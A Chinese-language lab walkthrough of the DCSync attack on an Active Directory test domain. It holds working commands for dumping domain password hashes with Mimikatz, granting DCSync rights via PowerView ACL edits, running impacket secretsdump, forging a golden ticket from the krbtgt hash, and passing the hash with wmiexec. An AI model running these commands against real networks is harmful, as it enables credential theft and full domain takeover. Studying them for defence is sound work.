DCSync
DCSync概述
DCSync是一种用于获取用户凭据的方法,可以用来查找DC,请求目录复制,并从后续响应中收集密码哈希。在2015年成为Mimikatz工具的一个板块,可以在一定条件下导出域内哈希。
实验环境
域名:HIRO
域控:WIN-KONG@192.168.228.10 域管:hiro\administrator
主机:WINis07@192.168.228.15 域用户:hiro\win7
利用条件:
1.域控本地管理组用户(administrators,Domain Admins,Enterprise Admins的组内用户)
2.域控制器的计算机用户(可能域控有CVE-2020-1472漏洞[ZeroLogon])
3.拿下exchange服务器后可以WriteACL赋予指定用户或域机器DCSync权限
利用方式:
1.拥有上述条件的任意用户权限,即可导出域内任意用户的hash
导出administrator用户的Hash
privilege::debug
lsadump::dcsync /domain:hiro.com /user:administrator
导出所有用户的哈希
privilege::debug
lsadump::dcsync /domain:hiro.com /all /csv
2.使用Empire下的powerview.ps1脚本执行以上三条ACE
DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以向域内普通用户添加如下三条ACE(Access Control Entries):
DS-Replication-Get-Changes-->(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All-->(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-->(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
在域管用户上给域用户win7添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=hiro,DC=com" -PrincipalIdentity win7 -Rights DCSync -Verbose
当用户win7具有DCSync权限后,可以导出域内哈希:
python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10
给域用户win7删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=hiro,DC=com" -PrincipalIdentity win7 -Rights DCSync -Verbose
域用户win7失去了DCSync权限,同时也无法导出域内hash了
3.使用黄金票据+DCSync导出域内所有用户的Hash:
生成黄金票据:
privilege::debug
得到krbtgt用户hash
lsadump::dcsync /domain:hiro.com /user:krbtgt
导入黄金票据,其中sid为域的sid
kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt
导出域hash:
privilege::debug
kerberos::list
导出所有用户的哈希
lsadump::dcsync /domain:hiro.com /all /csv
哈希传递
python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e